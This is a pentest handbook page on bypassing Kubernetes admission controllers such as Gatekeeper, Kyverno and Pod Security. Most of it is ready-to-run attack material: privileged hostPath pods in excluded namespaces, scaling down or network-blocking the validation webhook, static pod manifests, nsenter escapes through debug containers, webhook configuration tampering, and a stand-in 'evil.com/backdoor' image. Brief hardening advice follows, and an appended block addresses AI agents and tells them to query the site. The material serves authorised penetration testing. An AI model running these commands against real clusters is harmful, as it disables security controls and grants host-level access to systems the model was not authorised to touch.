# K8s Admission Bypass

> **Skill Level**: Advanced\
> **Prerequisites**: Kubernetes architecture, RBAC, OPA/Gatekeeper

## Understanding Admission Controllers

```yaml
# Admission flow:
# 1. API Request → Authentication → Authorization → Admission Controllers → etcd

# Types:
# - Validating: Accept/reject requests
# - Mutating: Modify requests before persistence

# Common admission controllers:
# - PodSecurityPolicy (deprecated) / PodSecurity
# - OPA Gatekeeper
# - Kyverno
# - Admission webhooks (custom)
```

## Enumeration

### Discover Admission Controllers

```bash
# Check enabled admission controllers
kubectl get --raw /apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations | jq
kubectl get --raw /apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations | jq

# List all webhook configurations
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# Check specific webhook details
kubectl describe validatingwebhookconfiguration gatekeeper-validating-webhook-configuration

# OPA Gatekeeper constraints
kubectl get constraints
kubectl get constrainttemplates

# Kyverno policies
kubectl get clusterpolicies
kubectl get policies -A
```

### Identify Policy Gaps

```bash
# Check what namespaces are excluded
kubectl get validatingwebhookconfiguration gatekeeper-validating-webhook-configuration -o json | \
  jq '.webhooks[].namespaceSelector'

# Common excluded namespaces:
# - kube-system
# - gatekeeper-system
# - kyverno
# - cert-manager

# Check failurePolicy
kubectl get validatingwebhookconfiguration -o json | \
  jq '.items[].webhooks[].failurePolicy'
# Ignore = bypass when webhook fails
# Fail = deny when webhook fails
```

## Policy Bypass Techniques

### Excluded Namespace Abuse

```bash
# If kube-system is excluded from admission
kubectl create deployment pwned --image=malicious:latest -n kube-system

# Create pod in excluded namespace
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
  namespace: kube-system
spec:
  containers:
  - name: pwned
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - name: hostroot
      mountPath: /host
  volumes:
  - name: hostroot
    hostPath:
      path: /
EOF
```

### Label-Based Bypass

```yaml
# If policy exempts certain labels
# Find exemption labels
kubectl get constrainttemplate k8srequiredlabels -o yaml

# Add exemption label to pod
apiVersion: v1
kind: Pod
metadata:
  name: bypass-pod
  labels:
    policy-exemption: "true"  # Matches policy exception
spec:
  containers:
  - name: test
    image: alpine
```

### Time-of-Check vs Time-of-Use (TOCTOU)

```bash
# Create valid resource, then modify after admission
# Step 1: Create compliant deployment
kubectl create deployment safe --image=nginx

# Step 2: Directly patch the pod (bypasses deployment controller)
kubectl patch pod safe-xxx --type='json' -p='[
  {"op": "add", "path": "/spec/containers/0/securityContext", 
   "value": {"privileged": true}}
]'

# This may work if:
# - Pod updates aren't validated
# - Admission only checks create, not update
```

### Ephemeral Container Bypass

```bash
# Ephemeral containers might not be validated
kubectl debug -it pod-name --image=busybox --target=main-container

# If that works, try privileged
kubectl debug -it pod-name --image=busybox --target=main-container -- sh -c 'nsenter -t 1 -m -u -i -n sh'

# Create ephemeral container with hostPID
kubectl alpha debug node/node-name -it --image=busybox
```

### Webhook Timeout Bypass

```bash
# Force webhook timeout to trigger failurePolicy: Ignore
# Create resource with payload that causes slow validation

# Large payload
kubectl create configmap large-config --from-literal=data=$(python3 -c 'print("A"*1000000)')

# Many annotations
for i in {1..1000}; do
  annotations+="annotation-$i: value-$i\n"
done
```

### Webhook Availability Attack

```bash
# If failurePolicy: Ignore, DoS the webhook

# Find webhook service
kubectl get validatingwebhookconfiguration -o json | jq '.items[].webhooks[].clientConfig.service'

# Scale down webhook pods (if you have access)
kubectl scale deployment gatekeeper-controller-manager -n gatekeeper-system --replicas=0

# Network policy blocking (if you control network policies)
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-webhook
  namespace: gatekeeper-system
spec:
  podSelector:
    matchLabels:
      app: gatekeeper
  policyTypes:
  - Ingress
  ingress: []
EOF

# Now create resources - webhook can't validate
kubectl run pwned --image=malicious:latest --privileged
```

### Static Pod Bypass

```bash
# Static pods bypass API server admission entirely
# Requires node access

# Write static pod manifest
cat > /etc/kubernetes/manifests/pwned.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: static-pwned
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pwned
    image: ubuntu
    securityContext:
      privileged: true
    command: ["sleep", "infinity"]
EOF

# Kubelet creates pod without API server validation
```

## OPA Gatekeeper Specific Bypasses

### Constraint Template Gaps

```bash
# Check constraint template for gaps
kubectl get constrainttemplate k8sallowedrepos -o yaml

# Look for:
# - Missing parameters
# - Incomplete Rego rules
# - Version-specific issues

# Example: Policy only checks first container
# Bypass by putting malicious container second
spec:
  containers:
  - name: compliant
    image: allowed-registry/nginx
  - name: malicious
    image: evil.com/backdoor  # Not checked!
```

### Rego Logic Exploitation

```rego
# Vulnerable policy example:
package k8sdisallowedtags

violation[{"msg": msg}] {
  container := input.review.object.spec.containers[_]
  tag := split(container.image, ":")[1]
  tag == "latest"
  msg := "Cannot use 'latest' tag"
}

# Bypass: No tag (defaults to latest but not caught)
# image: nginx  (no colon, split fails)

# Bypass: sha256 digest
# image: nginx@sha256:abc123...
```

### Sync Resource Manipulation

```bash
# Gatekeeper syncs resources for referential constraints
# Check what's synced
kubectl get config.config.gatekeeper.sh -o yaml

# If sync is incomplete, constraints fail open
# Manipulate synced resources to pass validation

# Example: Policy checks against ConfigMap whitelist
# If ConfigMap is modified, pods using old data may be validated incorrectly
```

## Kyverno Specific Bypasses

### Generate Rule Bypass

```yaml
# If Kyverno generates resources
# Manipulate generated resource before admission

# Check generate policies
kubectl get clusterpolicy -o yaml | grep -A 20 "generate:"

# Generated resources have ownerReferences
# Delete ownerReference to orphan resource, then modify
```

### Background Scan Limitations

```bash
# Kyverno background scans are separate from admission
# Resources created before policy are not checked by admission

# If policy is new, old non-compliant resources exist
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true)'
```

## Pod Security Standards (PSS) Bypass

### Namespace Label Manipulation

```bash
# PSS uses namespace labels for enforcement
# pod-security.kubernetes.io/enforce: restricted

# If you can modify namespace labels
kubectl label namespace target-ns pod-security.kubernetes.io/enforce=privileged --overwrite

# Now create privileged pods in that namespace
```

### RuntimeDefault Bypass

```yaml
# seccompProfile: RuntimeDefault can vary by node
# Different container runtimes have different defaults

apiVersion: v1
kind: Pod
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault  # Passes PSS "restricted"
  containers:
  - name: test
    image: alpine
    # RuntimeDefault might still allow dangerous syscalls
```

### User Namespace Bypass (Kubernetes 1.25+)

```yaml
# User namespaces can provide isolation escape routes
apiVersion: v1
kind: Pod
metadata:
  name: userns-pod
spec:
  hostUsers: false  # Run in user namespace
  containers:
  - name: test
    image: alpine
    securityContext:
      runAsNonRoot: true
      # In user namespace, this maps to different host UID
```

## Admission Webhook Exploitation

### Webhook Configuration Tampering

```bash
# If you have RBAC to modify webhook configs
kubectl edit validatingwebhookconfiguration gatekeeper-validating-webhook-configuration

# Disable webhook
webhooks:
- name: gatekeeper-webhook
  failurePolicy: Ignore  # Change from Fail
  
# Add exclusion
  namespaceSelector:
    matchExpressions:
    - key: kubernetes.io/metadata.name
      operator: NotIn
      values: ["my-namespace"]  # Add your namespace
```

### Certificate Issues

```bash
# Webhook uses TLS, if cert issues exist
# - Expired certificate
# - Wrong CN/SAN
# - Self-signed without caBundle

# Check certificate
kubectl get validatingwebhookconfiguration -o json | \
  jq '.items[].webhooks[].clientConfig.caBundle' | \
  base64 -d | openssl x509 -text -noout

# If failurePolicy: Ignore, cert issues = no validation
```

## Detection & Prevention

### Monitoring Commands

```bash
# Audit denied requests
kubectl get events --field-selector reason=FailedCreate -A

# Check Gatekeeper audit
kubectl logs -n gatekeeper-system deployment/gatekeeper-audit -f

# Kyverno policy reports
kubectl get policyreport -A
kubectl get clusterpolicyreport

# API audit logs (if enabled)
# Look for admission controller denials
```

### Hardening Recommendations

```yaml
# Set failurePolicy to Fail
webhooks:
- failurePolicy: Fail

# Minimize excluded namespaces
namespaceSelector:
  matchExpressions:
  - key: admission.gatekeeper.sh/ignore
    operator: DoesNotExist

# Use Pod Security Admission with audit/warn modes
kubectl label namespace my-ns \
  pod-security.kubernetes.io/enforce=restricted \
  pod-security.kubernetes.io/warn=restricted \
  pod-security.kubernetes.io/audit=restricted

# Validate ephemeral containers
# Validate update operations, not just create
```

## Checklist

```markdown
## Enumeration
- [ ] List all admission webhooks
- [ ] Identify excluded namespaces
- [ ] Check failurePolicy settings
- [ ] Review OPA/Kyverno policies

## Bypass Testing
- [ ] Test excluded namespaces
- [ ] Test label-based exemptions
- [ ] Test ephemeral containers
- [ ] Test webhook timeout
- [ ] Test DoS against webhook

## Policy Gaps
- [ ] Check for update vs create validation
- [ ] Review Rego/CEL logic
- [ ] Test edge cases (no tag, digests)
- [ ] Check init container validation

## Static Pods
- [ ] Check node access for static pod creation

## Post-Exploitation
- [ ] Modify webhook configurations
- [ ] Change namespace labels
- [ ] Disable admission controllers
```

## Related Topics

* [Docker/Kubernetes](/enumeration/cloud/docker-and-and-kubernetes.md) - Container security
* [RBAC](https://github.com/six2dez/pentest-book/blob/master/enumeration/webservices/kubernetes-rbac.md) - Kubernetes authorization
* [Container Escapes](/enumeration/cloud/docker-and-and-kubernetes.md#container-escapes) - Breakout techniques


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/cloud/k8s-admission-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
